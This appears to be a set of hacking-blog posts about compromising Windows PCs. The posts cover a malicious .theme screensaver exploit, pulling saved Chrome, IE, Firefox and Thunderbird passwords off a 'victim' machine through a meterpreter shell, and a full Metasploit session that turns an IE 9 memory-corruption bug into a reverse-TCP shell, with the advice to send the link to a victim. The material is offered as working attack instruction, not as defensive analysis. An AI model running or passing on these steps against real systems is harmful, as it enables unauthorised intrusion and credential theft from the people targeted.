Hack local network PC using windows theam file.

0 comments
This module exploits a vulnerability mainly affecting Microsoft
Windows XP and Windows 2003. The vulnerability exists in the
handling of the Screen Saver path, in the [boot] section. An
arbitrary path can be used as screen saver, including a remote SMB
resource, which allows for remote code execution when a malicious
.theme file is opened, and the "Screen Saver" tab is viewed. The
code execution is also triggered if the victim installs the
malicious theme and stays away from the computer, when Windows tries
to display the screensaver.

Available targets:
  Id  Name
  --  ----
  0   Windows XP SP3 / Windows 2003 SP2

Extract & decrypt Chrome & IE passwords from Remote PC

0 comments
In previous post i mentioned how we can extract saved passwords from firefox & thunderbird from rempote PC. Today we are going to extract saved passwords from Google chrome & IE. If you want to know more technical detail you can visit this site.

Chrome stores all the sign-on secrets into the internal database file called 'Web data' in the current user profile folder. Newer version has moved the login passwords related database into new file named 'Login Data'.  DPAPI encrypts data based on either the DPAPI_SYSTEM values stored in LSA secrets or the user’s password, you can’t copy the database file to another machine and decrypt without using special tools as we did in case of mozilla.


First download tool ChromePasswordDecryptor from here .

Installed it in windows.We are only interested in windows binary which is located on C:\Program Files\SecurityXploded . So from that directory copy binary ChromePasswordDecryptor.exe to our main OS(Backtrack).

We are going to use two method to extract saved passwords from browser.

(A)In this method we are going to upload our binary to victim pc using meterpreter shell & then we execute it.

(1)Get meterpreter shell.

(2)Upload ChromePasswordDecryptor.exe (Which we copy into Backtract from windows) to victim.

(3)Execute it from shell using following command.
    ChromePasswordDecryptor.exe "pwd.txt"

Extract & decrypt passwords from Firefox & Thunderbird.

0 comments
Today we are going to extract password from Fireox & Thunderbird which are saved in browser and then try to decrypt that passwords from remote PC. Before some times ; i posted here that how to extract information from saved sqlite database of skype, firefox, chrome using python script.

Most of the morden browser save information in sqlite format. When user enter login information ; firefox asked user to remember password.If user click on remember password then this passwords are saved into firefox database in signons.sqlite. But passwords are encrypted. so just by downloading signons.sqlite we can not extract passwords from it. Signons.sqlite is useless without the key3.db file, which also resides in the profile folder of your application. Passwords in the signons.sqlite file is encrypted with TripleDES in CBC mode. The key used for the encryption is saved in key3.db and encrypted as well.

Firefox Database path in windows:-

[Windows XP]
C:\Documents and Settings\<user_name>\Application Data\Mozilla\Firefox\<random_name>.default

[Windows Vista & Windows 7]
C:\Users\<user_name>\AppData\Roaming\Mozilla\Firefox\<random_name>.default

Firefox Database path in linux
/root/.Mozilla/Firefox/Profile/<random_name>.default

First we have to get meterpreter shell using any known vulnerability or using any metasploit method.

download_creds

Then we have to download three files from remote PC which are key3.db,signons.sqlite;cert8.db.You can use metasploit post module (use post/multi/gather/firefox_creds)for downloading this file or you can also download manually by browsing directory.

Exploit for IE 9 on Windows 7 SP1

1 comments
This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For example: This module can be used against version  9.0.8112.16446

Target
IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)

msf > use exploit/windows/browser/ms13_059_cflatmarkuppointer

msf exploit(ms13_059_cflatmarkuppointer) > set srvhost 192.168.56.1
srvhost => 192.168.56.1
msf exploit(ms13_059_cflatmarkuppointer) > set uripath /
uripath => /
msf exploit(ms13_059_cflatmarkuppointer) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(ms13_059_cflatmarkuppointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms13_059_cflatmarkuppointer) > run
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.56.1:4444
msf exploit(ms13_059_cflatmarkuppointer) > [*] Using URL: http://192.168.56.1:8080/
[*] Server started.

Now send that link to victim; as soon as he open link; you will get meterpreter shell.
